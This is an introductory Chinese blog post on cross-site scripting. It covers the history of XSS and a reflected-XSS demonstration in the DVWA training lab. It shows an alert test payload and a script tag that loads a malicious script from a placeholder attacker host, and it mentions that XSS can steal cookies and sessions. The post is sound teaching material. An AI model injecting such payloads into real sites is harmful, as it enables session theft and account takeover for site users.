XSS初探

admin 2022年6月27日00:42:33评论19 views字数 1519阅读5分3秒阅读模式



本文是Web安全入门系列的第7篇文章





01            

XSS的前世今生            


1999年,有一家叫PayPal的公司,该公司的业务简单来说就是国际版支付宝,当然,它比支付宝出现要早。

XSS初探

当时Paypal的CISO Michael Barrett(2006到2013任职),在美国运通(American Express)软件中找到了一个反射型XSS。虽然我很好奇为何Paypal的CISO会在运通的网站上发现XSS,然鹅这不是重点~

XSS初探

随后微软安全团队在1999年秋季的一次会议上对该反射型XSS进行探讨,同年12月,微软安全团队正式开始对该漏洞进行研究,并于2000的2月,在CERT发布了一份详细的漏洞说明报告。

XSS初探

在这份报告中,这种新的攻击方式被命名为:Cross Site Scripting 。按照惯例,应该简称为CSS,但是CSS这个简称已经被Cascading Style Sheets(层叠样式表)捷足先登了,因此简称XSS,翻译成中文就是听起来很霸气的:跨站脚本攻击。第一次听到跨站脚本攻击这个名字时,我的内心是懵逼的:

XSS初探     


XSS初探

时至今日,XSS已经成为最常见的Web安全漏洞之一,OWASP top 10 2013/2017年度分别为第三名和第七名。


02            

什么脚本?            


XSS的攻击范围并不限于Web,然而我们是Web安全入门系列文章,因此只从Web角度来讨论XSS。要理解基于Web的XSS,需要具备以下三个方面的知识:

1. HTML以及HTML常用标签

2.JavaScript

3. 一个包含HTML和JavaScript的网页被浏览器渲染的过程

XSS初探

下面是一个包含JavaScript的简单的HTML文档:

XSS初探

文档中有最基本的HTML标签:html,head,body,以及三处JavaScript脚本,将文档保存后缀为.html,然后用浏览器打开,浏览器会解析HTML和执行JavaScript,最后渲染网页如下:

XSS初探

上面的例子展示了一个很重要的特征:可以在HTML的任意位置插入JavaScript代码并执行。XSS攻击的最终目标是在网页中嵌入客户端恶意脚本代码,最常用的脚本就JavaScript


03            

怎么跨站?            


那么,在实际应用中XSS是如何实现的呢?

XSS初探

登录DVWA靶场,打开反射型XSS的页面,该页面有一个输入框和一个提交按钮,我们输入“world”,然后点提交,页面就会将提交的内容显示在下方:

XSS初探

如果我们不是输入文字,而是输入一段JavaScript呢?

XSS初探

点提交之后会发现,这段Javascript被执行了:

XSS初探

再查看一下该网页的HTML,发现刚才输入的JavaScript代码已经被插入(或者说“注入”)到了HTML文档中:

XSS初探

所以光弹一个alert框就完成跨站攻击了???还是装B速度太快而我太菜以至于我错过了神马???

XSS初探

XSS的危害就跟它的名字一样,来源于跨站脚本执行,如何跨站呢?想象一下我们的插入的脚本不是

<script>alert(/xss/)</script>

而是

<script src="http://恶意网站地址/恶意脚本.js"></script>

那么该代码段就会从其他网站下载恶意脚本到本地网站执行了。执行成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容,更高端的XSS代码还可以监控键盘操作,模仿登录界面,诱导你输入密码等等,而完成这些攻击只需要向网页中注入JavaScript即可。


本期内容就到这里了,从下期开始我们将逐个讨论XSS的攻击类型,期待下期再见~


XSS初探

(部分图片源自网络,侵删)

原文始发于微信公众号(陆吾安全攻防实验室):XSS初探

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年6月27日00:42:33
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   XSS初探http://cn-sec.com/archives/1067535.html

发表评论

匿名网友 填写信息